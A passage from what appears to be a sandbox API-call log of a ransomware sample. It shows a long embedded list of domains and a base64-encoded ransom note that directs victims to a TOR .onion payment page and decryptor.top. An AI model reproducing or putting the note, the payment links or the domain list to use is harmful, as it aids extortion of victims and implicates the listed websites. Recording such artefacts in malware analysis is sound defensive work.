llas.com;morgansconsult.com;michaelfiegel.com;lifeinbreaths.com;acumenconsultingcompany.com;www.singletonfinancial.com;www.bjornvanvulpen.nl;www.publicompserver.de;www.epsondriversforwindows.com;www.ijsselbeton.nl;mercadodelrio.com;lesyeuxbleus.net;uncensoredhentaigif.com;www.deduktia.fi;gsconcretecoatings.com;www.crestgood.com;www.alabamaroofingllc.com;rentingwell.com;mike.matthies.de;www.rechtenplicht.be;almamidwifery.com;drnelsonpediatrics.com;www.pays-saint-flour.fr;thegrinningmanmusical.com;www.mediahub.co.nz;opt4cdi.com;anchelor.com;liepertgrafikweb.at;www.netadultere.fr;tecleados.com;leatherjees.com;elitkeramika-shop.com.ua;www.uci-france.fr;tatyanakopieva.ru;global-migrate.com;hnkns.com;advance-refle.com;mayprogulka.ru;harleystreetspineclinic.com;bilius.dk;trivselsguide.dk;www.guohedd.com;witraz.pl;primemarineengineering.com;www.explora.nl;zorgboerderijravensbosch.nl;parseport.com;kiraribeaute-nani.com;ced-elec.com;deziplan.ru;www.wg-heiligenstadt.de;techybash.com;www.jimprattmediations.com;stitch-n-bitch.com;www.texanscan.org;auto-opel.ro;www.golfclublandgoednieuwkerk.nl;business-basic.de;www.smartmind.net;schluesseldienste-hannover.de;www.hensleymarketing.com;amco.net.au;www.spacebel.be;www.stoneridgemontessori.com;domilivefurniture.com;trevi-vl.ru;kryddersnapsen.dk;sshomme.com;acornishstudio.co.uk;www.profibersan.com;www.arthakapitalforvaltning.dk;hostastay.com;smartworkplaza.com;www.stage-infirmier.fr;altocontatto.net;narca.net;www.reizenmetkinderen.be;bluelakevision.com;www.boloria.de;www.jobkiwi.com.ng;ingresosextras.online;housesofwa.com;rozmata.com;www.web865.com;powershell.su;adterium.com;mesajjongeren.nl;bonitabeachassociation.com;airvapourbarrier.com;www.magnetvisual.com;malevannye.ru;altitudeboise.com;saboboxtel.uk;tetameble.pl;leijstrom.com;valiant-voice.com;www.breakluckrecords.com;www.parentsandkids.com;www.pourlabretagne.bzh;perceptdecor.com;silverbird.dk;vedsegaard.dk;craftingalegacy.com;cp-bap.de;belinda.af;www.matthieupetel.fr;mgimalta.com;medicalsupportco.com;rentsportsequip.com;energosbit-rp.ru;egpu.fr;creohn.de;richardmaybury.co.uk;mahikuchen.com;cmascd.com;www.lgiwines.com;tradenavigator.ch;www.ciga-france.fr;www.schroederschoembs.com;ninjaki.com;ygallerysalonsoho.com:443;flossmoordental.com;avtoboss163.ru:443;maryairbnb.wordpress.com;www.ownidentity.com;vitoriaecoturismo.com.br;carolynfriedlander.com;imagine-entertainment.com;forskolinslimeffect.net;www.beandrivingschool.com.au;www.secrets-clubs.co.uk;unboxtherapy.site;yourhappyevents.fr;www.hotelturbo.de;avis.mantova.it;acb-gruppe.ch;customroasts.com;chris-anne.com;alattekniksipil.com;adaduga.info;qrs-international.com;www.mursall.de;www.cardsandloyalty.com;walterman.es;hepishopping.com;www.animalfood-online.de;tanatek.com;scholarquotes.com;naukaip.ru;asiaartgallery.jp;www.bescomedical.de;speiserei-hannover.de;www.sytzedevries.com;awaisghauri.com;comoserescritor.com;bookingwheel.com;www.betterce.com;andreaskildegaard.dk;studionumerik.fr;www.agora-collectivites.com;11.in.ua;tweedekansenloket.nl;nauticmarine.dk;racefietsenblog.nl;www.aoyama.ac;pazarspor.org.tr;cormanmarketing.com;www.leloupblanc.gr;rhino-storage.co.uk;bd2fly.com;antesacademy.it;janasfokus.com;jlwilsonbooks.com;handyman-silkeborg.dk;www.fskhjalmar.se;goodboyscustom.com;www.kelsigordon.com;www.lovcase.com;julielusktherapy.com;www.ruggestar.ch;slotspinner.com;artcase.pl;lumturo.academy;specialtyhomeservicesllc.com;agrifarm.dk;aquacheck.co.za;mikegoodfellow.co.uk;pxsrl.it;www.springfieldplumbermo.com;www.premier-iowa.com;goodherbalhealth.com;paprikapod.com;www.sjtpo.org;www.invela.dk;curtsdiscountguns.com;victorvictoria.com;www.operativadigital.com;jefersonalessandro.com;site.markkit.com.br;www.berdonllp.com;www.cssp-mediation.org;jmmartinezilustrador.com;optigas.com;xn--billigafrgpatroner-stb.se;rolleepollee.com;johnsonweekly.com;www.der-stempelking.de;www.vipcarrental.ae;diakonie-weitramsdorf-sesslach.de;www.alpesiberie.com;ntinasfiloxenia.gr;skoczynski.eu;www.photonag.com;www.terraflair.de;the-beauty-guides.com;wallflowersandrakes.com;www.3daywebs.com;www.skinkeeper.li;thegetawaycollective.com;www.cac2040.com;jlgraphisme.fr;forumsittard.nl;evsynthacademy.org;imajyuku-sozoku.com;www.craftron.com;gatlinburgcottage.com;www.azerbaycanas.com;otpusk.zp.ua;werkzeugtrolley.net;bulyginnikitav.000webhostapp.com;mediabolmong.com;lookandseen.com;wasnederland.nl;midwestschool.org;casinodepositors.com;fla.se;www.zuerich-umzug.ch;inewsstar.com;billscars.net;www.makingmillionaires.net;tbalp.co.uk;bumbipdeco.site;charlottelhanna.com;www.afbudsrejserallinclusive.dk;www.gta-jjb.fr;landgoedspica.nl;www.brinkdoepke.eu;etgdogz.de;gbk-tp1.de;www.linearete.com;www.thesilkroadny.com;bringmehope.org;justaroundthecornerpetsit.com;www.bcmets.info;www.startuplive.org;www.signamedia.de;graygreenbiomedservices.com;vdolg24.online;eastgrinsteadwingchun.com;modamarfil.com;www.toranjtuition.org;www.theater-lueneburg.de;breathebettertolivebetter.com;bridalcave.com;www.catalyseurdetransformation.com;delegationhub.com;whoopingcrane.com;natturestaurante.com.br;monstarrsoccer.com;alwaysdc.com;mariajosediazdemera.com;duthler.nl;premiumweb.com.ua:443;www.chorusconsulting.net;levencovka.ru;girlish.ae;buerocenter-butzbach-werbemittel.de;www.jayfurnitureco.com;www.mslp.org;www.so-sage.fr;christopherhannan.com;legundschiess.de;molade.nl;thestudio.academy;www.patriotcleaning.net;ivancacu.com;www.frameshift.it;www.lexced.com;dinecorp.com;smartercashsystem.com;akwaba-safaris.com;kellengatton.com;oncarrot.com;sprintcoach.com;www.nrgvalue.com;saberconcrete.com;www.reygroup.pt;hotjapaneselesbian.com;cainlaw-okc.com;speakaudible.com;block-optic.com;oro.ae;epicjapanart.com;yourcosmicbeing.com;teethinadaydentalimplants.com;bubbalucious.com;supercarhire.co.uk;www.leadforensics.com;www.forextimes.ru;iron-mine.ru;fazagostar.co;nbva.co.uk;rsidesigns.com;www.markseymourphotography.co.uk;agencewho-aixenprovence.fr;www.triavlete.com;www.qandmmusiccenter.com;napisat-pismo-gubernatoru.ru:443;wirmuessenreden.com;innovationgames-brabant.nl;concontactodirecto.com;parisschool.ru;donau-guides.eu;nevadaruralhousingstudies.org;ayudaespiritualtamara.com;raeoflightmusic.com;glas-kuck.de;www.aslog.fr;fsbforsale.com;www.selected-minds.de;designimage.ae;www.thiagoperez.com;outstandingminialbums.com;www.fysiotherapierijnmond.nl;www.hvitfeldt.dk;ruggestar.ch;factoriareloj.com;www.palema.gr;cmeow.com;reputation-medical.online;polynine.com;ketomealprep.academy;lisa-poncon.fr;www.brannbornfastigheter.se;111firstdelray.com;signededenroth.dk;www.soundseeing.net;ziliak.com;www.husetsanitas.dk;www.radishallgood.com;latableacrepes-meaux.fr;dcc-eu.com;groovedealers.ru;www.gurutechnologies.net;www.adedesign.com;o2o-academy.com;www.jeanmonti.com;www.janmorgenstern.com;kenmccallum.com;galatee-couture.com;apogeeconseils.fr;www.cops4causes.org;benchbiz.com;zealcon.ae;www.lollachiro.com;www.marcandy.com;www.loparnille.se;www.bruut.online;www.sweetz.fr;teamsegeln.ch;tesisatonarim.com;xrresources.com;interlinkone.com;www.newonestop.com;atelierkomon.com;www.9nar.com;hartofurniture.com;avisioninthedesert.com;proffteplo.com;xn--80abehgab4ak0ddz.xn--p1ai;www.citiscapes-art.com;sachainchiuk.com;jandhpest.com;lattalvor.com;greenrider.nl;www.craftstone.co.nz;wrinstitute.org;triplettagaite.fr;askstaffing.com;teutoradio.de;cc-experts.de;www.chainofhopeeurope.eu;www.mangimirossana.it;www.nieuwsindeklas.be;innervisions-id.com;expohomes.com;www.solidhosting.nl;www.lsngroupe.com;katherinealy.com;www.sololibrerie.it;pureelements.nl;www.tothebackofthemoon.com;frimec-international.es;metroton.ru;affligemsehondenschool.be;clemenfoto.dk;belofloripa.be;www.peninggibadan.co.id;kuriero.pro;magrinya.net;kvetymichalovce.sk;baumfinancialservices.com;www.bmw-i-pure-impulse.com;dennisverschuur.com;www.hospitalitytrainingsolutions.co.uk;www.skyscanner.ro;successcolony.com.ng;www.atrgroup.it;metriplica.academy;mind2muscle.nl;unislaw-narty.pl;www.ilovefullcircle.com;www.baita.ac;bellesiniacademy.org;eventosvirtualesexitosos.com;jollity.hu;www.carmel-york.com;line-x.co.uk;cymru.futbol;www.alharsunindo.com;www.jdscenter.com;livedeveloper.com;encounter-p.net;mollymccarthydesign.com;beauty-traveller.com;www.mundo-pieces-auto.fr;sycamoregreenapts.com;www.luvbec.com;www.dinedrinkdetroit.com;the5thquestion.com;yayasanprimaunggul.org;wyreforest.net;quitescorting.com;yuanshenghotel.com;www.physio-lang.de;innersurrection.com;www.bourchier.org;www.tastevirginia.com;autoteamlast.de;from02pro.com;www.mrcar.nl;www.topautoinsurers.net;andrealuchesi.it;santastoy.store;www.o90.dk;johnstonmingmanning.com;www.glende-pflanzenparadies.de;brighthillgroup.com;biketruck.de;www.opticahubertruiz.com;hom-frisor.dk;richardkershawwines.co.za;weddingceremonieswithtim.com;four-ways.com;fridakids.com;phukienbepthanhdat.com;redctei.co;onesynergyinternational.com;computer-place.de;www.redpebblephotography.com;www.perfectgrin.com;www.drvoip.com;nexstagefinancial.com;www.sbit.ag;geitoniatonaggelon.gr;renderbox.ch;koncept-m.ru;pvandambv.nl;eafx.pro;www.strauchs-wanderlust.info;www.advancedeyecare.com;descargandoprogramas.com;ncjc.ca;drbenveniste.com;pedmanson.com;www.test-teleachat.fr;www.auberives-sur-vareze.fr;fitnessblenderstory.com;hameghlim.com;kosten-vochtbestrijding.be;n-newmedia.de;indiebizadvocates.org;www.kemtron.fr;salonlamar.nl;www.5thactors.com;nourella.com;hiddensee-buhne11.de;lmmont.sk;motocrossplace.co.uk;therapybusinessacademy.com;www.mjk.digital;www.edvestors.org;dantreranch.com;scentedlair.com;achetrabalhos.com;insane.agency;bayshoreelite.com;www.rhino-turf.com;towelroot.co;subquercy.fr;pansionatblago.ru;miscbo.it;www.mazift.dk;azloans.com;www.nginx.com;m2graph.fr;photographycreativity.co.uk;chomiksy.net;www.relevantonline.eu;rapid5kloan.org;www.alltagsrassismus-entknoten.de;ronielyn.com;aidanpublishing.co.uk;www.hawthornsretirement.co.uk;www.bluemarinefoundation.com;marmarabasin.com;bcabattoirs.org;laylavalentine.com;scietech.academy;alaskaremote.com;furland.ru;kroophold-sjaelland.dk;rossomattonecase.it;ykobbqchicken.ca;espaciopolitica.com;www.gardenpartner.pl;www.ikadomus.com;clinic-beethovenstrasse-ag.ch;manzel.tn;www.bratek-immobilien.de;jameswilliamspainting.com;dnqa.co.uk;malzomattalar.com;datatri.be;die-immo-agentur.de;alisodentalcare.com;www.mustangmarketinggroup.com;lyricalduniya.com;martinipstudios.com;traitware.com;www.vapiano.fr;fotoeditores.com;foerderverein-vatterschule.de;suonenjoen.fi;www.simpleitsolutions.ch;www.cleanroomequipment.ie;nepressurecleaning.com;trainiumacademy.com;the-cupboard.co.uk;kartuindonesia.com;www.phoenixcrane.com;www.eksperdanismanlik.com;palmenhaus-erfurt.de;www.janellrardon.com;www.gazelle-du-web.com;diverfiestas.com.es;frankgoll.com;alexwenzel.de;amyandzac.com;www.devus.de;www.dmlcpa.com;sber-biznes.com;cuadc.org;nykfdyrehospital.dk;min-virksomhed.dk;axisoflove.org:443;osn.ro;amelielecompte.wordpress.com;kafkacare.com;www.annenymus.com;vvego.com;www.pharmeko-group.com;www.lassocrm.com;pankiss.ru;motocrosshideout.com;edrickennedymacfoy.com;ceocenters.com;www.muller.nl;bodet150ans.com;bychowo.pl;neolaiamedispa.com;www.1deals.com;kdbrh.com;linkbuilding.life;www.paardcentraal.nl;zinnystar.com;metallbau-hartmann.eu;www.cyberpromote.de;tages-geldvergleich.de;www.druktemakersheerenveen.nl;tieronechic.com;www.advanced-removals.co.uk;richardiv.com;irizar.com;www.hekecrm.com;elliemaccreative.wordpress.com;www.pokemonturkiye.com;boomerslivinglively.com;framemyballs.com;www.jobscore.com;plbinsurance.com;cotton-avenue.co.il;www.buzzneakers.com;2020hindsight.info;protoplay.ca;www.keuken-prijs.nl;barbaramcfadyenjewelry.com;www.catering.com;keyboardjournal.com;gaearoyals.com;log-barn.co.uk;ya-elka.ru;www.anleggsregisteret.no;boyfriendsgoal.site;qwikcoach.com;www.rattanwarehouse.co.uk;circlecitydj.com;activeterroristwarningcompany.com;kryptos72.com;worldproskitour.com;kristianboennelykke.dk;vitormmcosta.com;aheadloftladders.co.uk;burg-zelem.de;5pointpt.com;www.campusce.com;kookooo.com;oraweb.net;pro-gamer.pl;brisbaneosteopathic.com.au;gosouldeep.com;www.mariamalmahdi.com;lovetzuchia.com;liverpoolabudhabi.ae;skolaprome.eu;csaballoons.com;zdrowieszczecin.pl;ikzoekgod.be;imaginekithomes.co.nz;aktivfriskcenter.se;livelai.com;t3brothers.com;webforsites.com;topvijesti.net;paradigmlandscape.com;www.theintellect.edu.pk;akcadagofis.com;entdoctor-durban.com;ziliak.com;prometeyagro.com.ua;happycatering.de;volta.plus;skooppi.fi;lagschools.ng;martha-frets-ceramics.nl;easydental.ae;www.rino-gmbh.com;www.yournextshoes.com;georgemuncey.com;turing.academy;rtc24.com;professionetata.com;nalliasmali.net;www.agriturismocastagneto.it;carsten.sparen-it.de;www.nutriwell.com.sg;www.mbuildinghomes.com;www.chatberlin.de;www.olry-cloisons.fr;orchardbrickwork.com;allinonecampaign.com;www.banukumbak.com;charlesfrancis.photos;www.saint-malo-developpement.fr;satoblog.org;www.stathmoulis.gr;www.hoteltantra.com;wineandgo.hu;enactusnhlstenden.com;www.brunoimmobilier.com;www.ufovidmag.com;gratiocafeblog.wordpress.com;fidelitytitleoregon.com;endstarvation.com;thisprettyhair.com;billyoart.com;oportowebdesign.com;www.mondolandscapes.com;krishnabrawijaya.com;kenmccallum.com;thehovecounsellingpractice.co.uk;skyboundnutrition.co.uk;www.tchernia-conseil.fr;babysitting-hk.helpergo.co;globalskills.pt;jalkapuu.net;www.oscommunity.de;www.eurethicsport.eu;www.lidkopingsnytt.nu;ox-home.com;bakingismyyoga.com;bertbutter.nl;www.hinotruckwreckers.com.au;shrinkingplanet.com;mneti.ru;www.masecologicos.com;rarefoods.ro;juergenblaetz.de;www.fanuli.com.au;www.heimdalbygg.no;distrifresh.com;www.adabible.org;eshop.design;artvark.nl;yvesdoin-aquarelles.fr;soncini.ch;molinum.pt;mediogiro.com.ar;encounter-p.net;www.smartspeak.com;verbouwingsdouche.nl;www.sharonalbrightdds.com;www.pajagus.fr;www.schlagbohrmaschinetests.com;www.mariannelemenestrel.com;sealgrinderpt.com;docarefoundation.org;holocine.de;alcye.com;fbmagazine.ru;www.internalresults.com;www.digitale-elite.de;christianscholz.de;www.skidpiping.de;ludoil.it;c-sprop.com;www.aberdeenartwalk.org;agendatwentytwenty.com;www.ncn.nl;spirello.nl;www.putzen-reinigen.com;dibli.store;www.zumrutkuyutemel.com;leansupremegarcinia.net;www.bendel-partner.de;purepreprod4.com;www.profiz.com;www.electricianul.com;wademurray.com;b3b.ch;randyabrown.com;rubyaudiology.com;pisofare.co;rvside.com;direitapernambuco.com;www.ahgarage.com;iactechnologies.net;www.bagaholics.in;nicksrock.com;awag-blog.de;www.licensed-public-adjuster.com;www.limounie.com;efficiencyconsulting.es;goddardleadership.org;poems-for-the-soul.ch;fta-media.com;bodymindchallenger.com;rename.kz;theboardroomafrica.com;mieleshopping.it;chinowarehousespace.com;jag.me;www.arearugcleaningnyc.com;www.bajova.sk;scotlandsroute66.co.uk;www.birthplacemag.com;alene.co;www.jacquesgarcianoto.com;www.blucamp.com;dentourage.com;stabilisateur.fr;wordpress.idium.no;k-v-f.de;dentalcircle.com;andermattswisswatches.ch;www.the3-week-diet.net;www.sellthewrightway.com;solutionshosting.co.uk;devplus.be;muni.pe;theatre-embellie.fr;www.greeneyetattoo.com;rokthetalk.com;fi-institutionalfunds.com;www.ravage-webzine.nl;www.liveyourheartout.co;www.istantidigitali.com;hostingbangladesh.net;jobstomoveamerica.org;neonodi.be;futurenetworking.com;limmortelyouth.com;dieetuniversiteit.nl;www.g2mediainc.com;bohrlochversicherung.info;rishigangoly.com;pixelhealth.net;www.ilveshistoria.com;www.biblica.com;letsstopsmoking.co.uk;myfbateam.com;greatofficespaces.net;utilisacteur.fr;renehartman.nl;floweringsun.org;sambaglow.com;eatyoveges.com;stanleyqualitysystems.com;bavovrienden.nl;campinglaforetdetesse.com;funworx.de;www.nationnewsroom.com;www.angelsmirrorus.com;centuryvisionglobal.com;www.fixx-repair.com;www.mrmac.com;www.glennverschueren.be;palmecophilippines.com;slotenmakerszwijndrecht.nl;enews-qca.com;agenceassemble.fr;www.buffdaddyblog.com;unexplored.gr;thepixelfairy.com;alnectus.com;www.airserviceunlimited.com;www.angeleyezstripclub.com;www.finsahome.co.uk;ramirezprono.com;angelika-schwarz.com;www.basindentistry.com;k-zubki.ru;www.bluetenreich-brilon.de;omegamarbella.com;dayenne-styling.nl;www.arazi.eus;memphishealthandwellness.com;www.loysonbryan.com;heuvelland-oaze.nl;parksideseniorliving.net;luvinsburger.fr;www.colored-shelves.com;logosindustries.com;animation-pro.co.uk;www.baptistdistinctives.org;spartamovers.com;www.humanviruses.org;dogsunlimitedguide.com;stringnosis.academy;metcalfe.ca;www.fluzfluzrewards.com;baikalflot.ru;www.haus-landliebe.de;www.dierenambulancealkmaar.nl;www.stralsund-ansichten.de;focuskontur.com;corporacionrr.com;www.astrographic.com;aciscomputers.com;www.denhaagfoodie.nl;coachpreneuracademy.com;www.dreamvoiceclub.org;www.sunsolutions.es;www.zwemofficial.nl;mindsparkescape.com;www.ronaldhendriks.nl;fire-space.com;citydogslife.com;cesep2019.com;90nguyentuan.com;taulunkartano.fi;finnergo.eu;www.zaczytana.com;hutchstyle.co.uk;lashandbrowenvy.com;karmeliterviertel.com;littlesaints.academy;xn--80addfr4ahr.dp.ua;iexpert99.com;khtrx.com;ledyoucan.com;www.blueridgeheritage.com;wribrazil.com;ideamode.comву;collegetennis.info;banksrl.co.za;www.suitesartemis.gr;innovationgames-brabant.nl;rivermusic.nl;nuohous.com;www.penumbuhrambutkeiskei.com;www.schulz-moelln.de;www.precisetemp.com;hm-com.com;annida.it;www.lunoluno.com;broccolisoep.nl;tutvracks.com;aceroprime.com;smarttourism.academy;xn--ziinoapte-6ld.ro;www.jakubrybak.com;cincinnatiphotocompany.org;www.apiarista.de;fascaonline.com;michal-s.co.il;look.academy;xtensifi.com;www.bundan.com;amorbellezaysalud.com;www.cl0nazepamblog.com;catchup-mag.com;www.grancanariaregional.com;louiedager.com;www.itheroes.dk;www.pubcon.com;larchwoodmarketing.com;www.spectamarketingdigital.com.br;arabianmice.com;nvisionsigns.com;advesa.com;oththukaruva.com;bg.szczecin.pl;www.billigeflybilletter.dk;internestdigital.com;www.hypogenforensic.com;kompresory-opravy.com;campusescalade.com;abulanov.com;www.claudiakilian.de;jglconsultancy.com;peppergreenfarmcatering.com.au;latteswithleslie.com;www.welovecustomers.fr;promus.ca;envomask.com;www.switch-made.com;mamajenedesigns.com;www.production-stills.co.uk;riffenmattgarage.ch;eos-horlogerie.com;tzn.nu;www.stressreliefadvice.com;kickittickets.com;tellthebell.website;klapanvent.ru;fann.ru;mindfuelers.com;noda.com.ua;margaretmcshane.com;www.stagefxinc.com;fotoslubna.com;www.sveneulberg.de;lapponiasafaris.com;patassociation.com;www.placermonticello.com;www.sppdstats.com;www.nepal-pictures.com;laaisterplakky.nl;subyard.com;www.factorywizuk.com;www.directique.com;www.onlinemarketingsurgery.co.uk;brownswoodblog.com;nxtstg.org;dentallabor-luenen.de;oexebusiness.com;www.albcleaner.fr;www.domaine-des-pothiers.com;p-ride.live;thenalpa.com;grupoexin10.com;www.haard-totaal.nl;www.silkeight.com;ziliak.com;www.queertube.net;cookinn.nl;tramadolhealth.com;globalcompliancenews.com;denverwynkoopdentist.com;www.shortysspices.com;jaaphoekzema.nl;mac-computer-support-hamburg.de;www.acibademmobil.com.tr;leopoldineroux.com;www.a-zpaperwork.eu;www.testitjavertailut.net;go.labibini.ch;ocduiblog.com;daveystownhouse.com;www.mensemetgesigte.co.za;circuit-diagramz.com;davedavisphotos.com;tilldeeke.de;shortsalemap.com;www.onlinetvgroup.com;www.veggienessa.com;buonabitare.com;elex.is;www.hostaletdelsindians.es;happylublog.wordpress.com;www.grafikstudio-visuell.de;jonnyhooley.com;www.pinkxgayvideoawards.com;ddmgen.com") returned 20305 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1fb0590, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1745 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1fb0590, cbMultiByte=-1, lpWideCharStr=0x2054c20, cchWideChar=1745 | out: lpWideCharStr="SABlAGwAbABvACAAZABlAGEAcgAgAGYAcgBpAGUAbgBkACEADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQALAAgAGEAcwAgAHIAZQBzAHUAbAB0ACAAeQBvAHUAIABjAGEAbgAnAHQAIAB1AHMAZQAgAGkAdAAuACAAWQBvAHUAIABtAHUAcwB0ACAAdgBpAHMAaQB0ACAAbwB1AHIAIABwAGEAZwBlACAAdABvACAAZwBlAHQAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGEAYgBvAHUAdAAgAGQAZQBjAHIAeQBwAHQAaQBvAG4AIABwAHIAbwBjAGUAcwBzAC4ADQAKAEEAbABsACAAZQBuAGMAcgB5AHAAdABlAGQAIABmAGkAbABlAHMAIABoAGEAdgBlACAAZwBvAHQAIAB7AEUAWABUAH0AIABlAHgAdABlAG4AcwBpAG8AbgAuAA0ACgANAAoASQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AdABvACAAdABoAGUAIABUAE8AUgAgAG4AZQB0AHcAbwByAGsADQAKAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQANAAoASQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIABoAHQAdABwAHMAOgAvAC8AdABvAHIAcAByAG8AagBlAGMAdAAuAG8AcgBnAC8ADQAKAFYAaQBzAGkAdAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABsAGkAbgBrADoAIABoAHQAdABwADoALwAvAGEAcABsAGUAYgB6AHUANAA3AHcAZwBhAHoAYQBwAGQAcQBrAHMANgB2AHIAYwB2ADYAegBjAG4AagBwAHAAawBiAHgAYgByADYAdwBrAGUAdABmADUANgBuAGYANgBhAHEAMgBuAG0AeQBvAHkAZAAuAG8AbgBpAG8AbgAvAHsAVQBJAEQAfQANAAoADQAKAEkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuAHQAbwAgAFcAVwBXACAAKABUAGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawAgAGMAYQBuACAAbgBvAHQAIABiAGUAIABpAG4AIAB3AG8AcgBrACAAcwB0AGEAdABlACwAIABpAGYAIAB0AHIAdQBlACwAIAB1AHMAZQAgAFQATwBSACAAYQBiAG8AdgBlACkAOgANAAoALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAA0ACgBWAGkAcwBpAHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwByAHkAcAB0AG8AcgAuAHQAbwBwAC8AewBVAEkARAB9AA0ACgANAAoAUABhAGcAZQAgAHcAaQBsAGwAIABhAHMAawAgAHkAbwB1ACAAZgBvAHIAIAB0AGgAZQAgAGsAZQB5ACwAIABoAGUAcgBlACAAaQB0ACAAaQBzADoADQAKAHsASwBFAFkAfQAAAA==") returned 1745 [0054.642] CryptStringToBinaryW (in: pszString="SABlAGwAbABvACAAZABlAGEAcgAgAGYAcgBpAGUAbgBkACEADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQALAAgAGEAcwAgAHIAZQBzAHUAbAB0ACAAeQBvAHUAIABjAGEAbgAnAHQAIAB1AHMAZQAgAGkAdAAuACAAWQBvAHUAIABtAHUAcwB0ACAAdgBpAHMAaQB0ACAAbwB1AHIAIABwAGEAZwBlACAAdABvACAAZwBlAHQAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGEAYgBvAHUAdAAgAGQAZQBjAHIAeQBwAHQAaQBvAG4AIABwAHIAbwBjAGUAcwBzAC4ADQAKAEEAbABsACAAZQBuAGMAcgB5AHAAdABlAGQAIABmAGkAbABlAHMAIABoAGEAdgBlACAAZwBvAHQAIAB7AEUAWABUAH0AIABlAHgAdABlAG4AcwBpAG8AbgAuAA0ACgANAAoASQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AdABvACAAdABoAGUAIABUAE8AUgAgAG4AZQB0AHcAbwByAGsADQAKAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQANAAoASQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIABoAHQAdABwAHMAOgAvAC8AdABvAHIAcAByAG8AagBlAGMAdAAuAG8AcgBnAC8ADQAKAFYAaQBzAGkAdAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABsAGkAbgBrADoAIABoAHQAdABwADoALwAvAGEAcABsAGUAYgB6AHUANAA3AHcAZwBhAHoAYQBwAGQAcQBrAHMANgB2AHIAYwB2ADYAegBjAG4AagBwAHAAawBiAHgAYgByADYAdwBrAGUAdABmADUANgBuAGYANgBhAHEAMgBuAG0AeQBvAHkAZAAuAG8AbgBpAG8AbgAvAHsAVQBJAEQAfQANAAoADQAKAEkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuAHQAbwAgAFcAVwBXACAAKABUAGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawAgAGMAYQBuACAAbgBvAHQAIABiAGUAIABpAG4AIAB3AG8AcgBrACAAcwB0AGEAdABlACwAIABpAGYAIAB0AHIAdQBlACwAIAB1AHMAZQAgAFQATwBSACAAYQBiAG8AdgBlACkAOgANAAoALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAA0ACgBWAGkAcwBpAHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwByAHkAcAB0AG8AcgAuAHQAbwBwAC8AewBVAEkARAB9AA0ACgANAAoAUABhAGcAZQAgAHcAaQBsAGwAIABhAHMAawAgAHkAbwB1ACAAZgBvAHIAIAB0AGgAZQAgAGsAZQB5ACwAIABoAGUAcgBlACAAaQB0ACAAaQBzADoADQAKAHsASwBFAFkAfQAAAA==", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.642] CryptStringToBinaryW (in: pszString="SABlAGwAbABvACAAZABlAGEAcgAgAGYAcgBpAGUAbgBkACEADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQALAAgAGEAcwAgAHIAZQBzAHUAbAB0ACAAeQBvAHUAIABjAGEAbgAnAHQAIAB1AHMAZQAgAGkAdAAuACAAWQBvAHUAIABtAHUAcwB0ACAAdgBpAHMAaQB0ACAAbwB1AHIAIABwAGEAZwBlACAAdABvACAAZwBlAHQAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGEAYgBvAHUAdAAgAGQAZQBjAHIAeQBwAHQAaQBvAG4AIABwAHIAbwBjAGUAcwBzAC4ADQAKAEEAbABsACAAZQBuAGMAcgB5AHAAdABlAGQAIABmAGkAbABlAHMAIABoAGEAdgBlACAAZwBvAHQAIAB7AEUAWABUAH0AIABlAHgAdABlAG4AcwBpAG8AbgAuAA0ACgANAAoASQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AdABvACAAdABoAGUAIABUAE8AUgAgAG4AZQB0AHcAbwByAGsADQAKAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQANAAoASQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIABoAHQAdABwAHMAOgAvAC8AdABvAHIAcAByAG8AagBlAGMAdAAuAG8AcgBnAC8ADQAKAFYAaQBzAGkAdAAgAHQAaA